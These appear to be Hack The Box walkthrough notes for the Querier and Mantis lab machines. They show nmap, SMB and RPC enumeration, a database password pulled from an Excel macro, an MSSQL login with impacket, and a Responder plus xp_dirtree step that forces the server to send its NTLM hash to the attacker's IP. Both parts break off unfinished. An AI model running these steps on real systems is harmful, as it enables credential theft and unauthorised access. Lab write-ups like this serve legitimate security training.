[HTB] Machine: Querier
Querier
Enumeration
nmap
└─$ nmap -Pn -p- 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:05 BST
Stats: 0:06:52 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 72.17% done; ETC: 03:15 (0:02:39 remaining)
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.15s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 693.11 seconds
└─$ nmap -Pn -p135,139,445,1433,5985 -sC -sV 10.10.10.125 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-07 03:18 BST
Nmap scan report for 10.10.10.125 (10.10.10.125)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.10.10.125:1433:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: QUERIER
| DNS_Domain_Name: HTB.LOCAL
| DNS_Computer_Name: QUERIER.HTB.LOCAL
| DNS_Tree_Name: HTB.LOCAL
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 10.10.10.125:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2023-09-06T19:18:33+00:00; -7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-06T14:05:43
|_Not valid after: 2053-09-06T14:05:43
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-09-06T19:18:24
|_ start_date: N/A
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m00s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.61 seconds
smb
└─$ smbclient -N -L //10.10.10.125
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Foothold/User #1
//10.10.10.125/Reports
└─$ smbclient -N //10.10.10.125/Reports
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Jan 28 23:23:48 2019
.. D 0 Mon Jan 28 23:23:48 2019
Currency Volume Report.xlsm A 12229 Sun Jan 27 22:21:34 2019
5158399 blocks of size 4096. 828878 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (23.7 KiloBytes/sec) (average 23.7 KiloBytes/sec)
smb: \> exit
- We can use oletools to open
xlsm
file
└─$ olevba 'Currency Volume Report.xlsm'
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.4 - http://decalage.info/python/oletools
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
' MsgBox "connection successful"
'Set rs = conn.Execute("SELECT * @@version;")
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|Suspicious|Open |May open a file |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
- Let’s connect using
impacket-mssqlclient
└─$ impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 32576
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
User #2
- Let’s enumerate
SQL> SELECT name FROM master.sys.databases;
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
volume
SQL> use volume;
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
SQL> select * from volume.INFORMATION_SCHEMA.TABLES;
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
SQL>
SQL> select name from sys.database_principals;
name
--------------------------------------------------------------------------------------------------------------------------------
public
dbo
guest
INFORMATION_SCHEMA
sys
reporting
db_owner
db_accessadmin
db_securityadmin
db_ddladmin
db_backupoperator
db_datareader
db_datawriter
db_denydatareader
db_denydatawriter
SQL> SELECT entity_name, permission_name FROM fn_my_permissions(NULL, 'SERVER');
entity_name permission_name
-------------------------------------- ------------------------------------------------------------
server CONNECT SQL
server VIEW ANY DATABASE
- We can try
Relay attack
to stealNTLM
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server
- Spawn
responder
sudo responder -I tun0
xp_dirtree '\\10.10.16.9\share'
[HTB] Machine: Mantis
Mantis
Enumeration
nmap
└─$ nmap -Pn -p- 10.10.10.52 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 09:57 BST
Nmap scan report for 10.10.10.52 (10.10.10.52)
Host is up (0.12s latency).
Not shown: 65508 closed tcp ports (conn-refused)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1337/tcp open waste
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
8080/tcp open http-proxy
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49161/tcp open unknown
49165/tcp open unknown
49171/tcp open unknown
50255/tcp open unknown
└─$ nmap -Pn -p53,88,135,139,389,445,464,593,636,1337,1433,3268,3269,5722,8080,9389,10475,26347,49152,49153,49154,49155,49157,49158,49164,49165,49171,50255 -sC -sV 10.10.10.52 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 10:22 BST
Nmap scan report for 10.10.10.52 (10.10.10.52)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15CD4) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15CD4)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-03 09:22:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1337/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-info:
| 10.10.10.52:1433:
| Version:
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.10.52:1433:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
|_ssl-date: 2023-09-03T09:23:37+00:00; -36s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-03T08:54:18
|_Not valid after: 2053-09-03T08:54:18
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Tossed Salad - Blog
9389/tcp open mc-nmf .NET Message Framing
10475/tcp closed unknown
26347/tcp closed unknown
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49164/tcp closed unknown
49165/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
50255/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-info:
| 10.10.10.52:50255:
| Version:
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 50255
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-09-03T08:54:18
|_Not valid after: 2053-09-03T08:54:18
| ms-sql-ntlm-info:
| 10.10.10.52:50255:
| Target_Name: HTB
| NetBIOS_Domain_Name: HTB
| NetBIOS_Computer_Name: MANTIS
| DNS_Domain_Name: htb.local
| DNS_Computer_Name: mantis.htb.local
| DNS_Tree_Name: htb.local
|_ Product_Version: 6.1.7601
|_ssl-date: 2023-09-03T09:23:37+00:00; -37s from scanner time.
Service Info: Host: MANTIS; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-03T09:23:28
|_ start_date: 2023-09-03T08:54:08
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: mantis
| NetBIOS computer name: MANTIS\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: mantis.htb.local
|_ System time: 2023-09-03T05:23:27-04:00
|_clock-skew: mean: 33m41s, deviation: 1h30m43s, median: -36s
smb
└─$ smbclient -N -L //10.10.10.52
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.52 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
rpc
└─$ rpcclient -U '' -N 10.10.10.52
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> querydispinfo
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
- Port
8080
- Looks like Orchard CMS